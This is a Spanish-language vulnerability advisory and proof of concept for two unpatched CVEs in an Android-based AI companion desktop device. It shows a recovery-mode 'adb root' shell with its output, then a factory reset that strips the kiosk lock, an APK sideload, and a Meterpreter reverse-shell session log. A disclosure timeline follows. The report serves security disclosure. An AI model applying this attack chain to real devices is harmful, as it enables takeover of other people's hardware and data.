
Prueba de concepto para CVE-2026-36027 y CVE-2026-36028
El Code 27 3D Companion Hub es un dispositivo físico de escritorio que representa un personaje de IA personalizado (un "Codie") como un compañero 3D animado. Los usuarios pueden subir o crear cualquier modelo 3D, y la IA multimodal permite que el personaje vea su entorno, lea el tono y el lenguaje corporal, y mantenga conversaciones abiertas.
Este informe cubre dos vulnerabilidades que requieren acceso físico al dispositivo. Ambas fueron validadas contra la compilación que se indica a continuación y, al momento de la publicación, no tienen parche.
| Campo | Valor |
|---|---|
| Producto | Code 27 3D Companion Hub |
| Versión de la interfaz del Companion Hub | 1.2.0 |
| SoC / placa | Rockchip RK3588S (rk3588s_yt921) |
| SO | Android 12 |
| ID de compilación | SQ3A.220705.003.A1 |
| Fingerprint completo | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Tipo de compilación | userdebug / release-keys |
El firmware incluido es una compilación userdebug (visible en el banner de recovery y en ro.build.display.id). Las compilaciones userdebug permiten reiniciar adbd como root mediante adb root, lo cual es un facilitador clave para que exista CVE-2026-36027.
Un atacante físicamente cercano puede iniciar el Companion Hub en el recovery de Android y obtener un shell ADB con privilegios de root (uid=0, contexto SELinux u:r:su:s0). Debido a que el dispositivo incluye una compilación userdebug, adbd puede reiniciarse como root con adb root, lo que otorga al atacante interacción de lectura/escritura con el entorno de recovery, la capacidad de enumerar propiedades de compilación y hardware, y acceso a las funciones de recovery (sideload, fastboot, operaciones de particiones).
El acceso obtenido se encuentra dentro del ramdisk de recovery, no en el runtime de Android en ejecución. En las pruebas, la acción Mount /system del recovery falló (libfs_mgr no pudo abrir /dev/block/by-name/system), por lo que la partición del sistema no se montó directamente a través de esta vía, y el entorno de usuario iniciado, con el kiosco y cualquier dato de usuario descifrado, no se presenta en este modo.
Esto sigue siendo importante porque el acceso root al entorno de recovery es la base para modificar el estado persistente del dispositivo (por ejemplo, escribir en particiones o aplicar un paquete de actualización manipulado) de modo que el código controlado por el atacante pueda ejecutarse en un arranque normal posterior, estableciendo un punto de apoyo en el dispositivo en ejecución.
Mount /system, resáltelo y confirme. Parecerá que falla. Esto es lo esperado y el exploit sigue funcionando. (El registro de recovery muestra que libfs_mgr no puede abrir /dev/block/by-name/system).PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
Un restablecimiento de fábrica realizado desde el menú de recovery borra la partición userdata, donde están instaladas las aplicaciones del kiosco. Debido a que el kiosco no forma parte de la partición del sistema, no se restaura al reiniciar, y el dispositivo arranca en un entorno Android estándar y sin restricciones (launcher, navegador web, administrador de archivos, configuración y otras aplicaciones del sistema).
Desde este entorno sin restricciones, un atacante puede volver a habilitar las opciones de desarrollador/la depuración USB, cargar lateralmente un APK arbitrario y ejecutarlo para obtener un shell en el sistema operativo en ejecución. En las pruebas, esto produjo una sesión de meterpreter ejecutándose como el usuario de aplicación sin privilegios u0_a79 - un contexto de privilegios y datos diferente al del shell root del modo recovery en CVE-2026-36027, porque se ejecuta contra el sistema operativo activo e iniciado en lugar del ramdisk de recovery. El código plantado y ejecutado en este estado se ejecuta como parte del funcionamiento normal del dispositivo, lo que otorga al atacante control interactivo del dispositivo y de su sistema de archivos accesible para el usuario.
Wipe data/factory reset y confirme el borrado.
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| Fecha | Evento |
|---|
| 2026-02-17 | Ambas vulnerabilidades fueron divulgadas al equipo de Code 27 y confirmadas. |
| 2026-02-17 | Ambas vulnerabilidades de día cero fueron reportadas a MITRE. |
| 2026-02-18 | El equipo de Code 27 discutió un plan de resolución, recopiló información adicional y declaró que se corregiría. |
| 2026-06-15 | MITRE asigna CVE-2026-36027 y CVE-2026-36028. |
| 2026-06-15 | Code 27 notificado de la asignación; el contacto inicial reenvía la información al equipo de seguridad para la revisión de la compilación. |
| 2026-06-16 | El equipo de seguridad de Code 27 solicita los detalles técnicos completos, nuevamente. |
| 2026-06-17 | Se proporcionan los detalles técnicos completos al equipo de seguridad, nuevamente. |
| 2026-06-18 | Sin respuesta del equipo de seguridad. |
| 2026-06-19 | Un representante de Code 27 afirma que las empresas normalmente reciben 90 días para resolver problemas de seguridad y que el equipo de seguridad ya está al tanto. Se informa al representante que los problemas se reportaron hace más de 120 días. Se establece una fecha límite de divulgación para el 1 de julio. |
| 2026-06-25 | Se contacta a seguridad de Code 27 para confirmar la advertencia final sobre la fecha límite y la publicación. |
| 2026-06-28 | Code 27 se disculpa, confirma los identificadores CVE y la fecha límite de divulgación, y afirma que se enviará un aviso público y un enlace antes del 1 de julio. |
| 2026-07-01 | Se contacta a Code 27 respecto al estado del aviso; sin respuesta. |
| 2026-07-02 | Se publican los detalles de las vulnerabilidades sin parche. |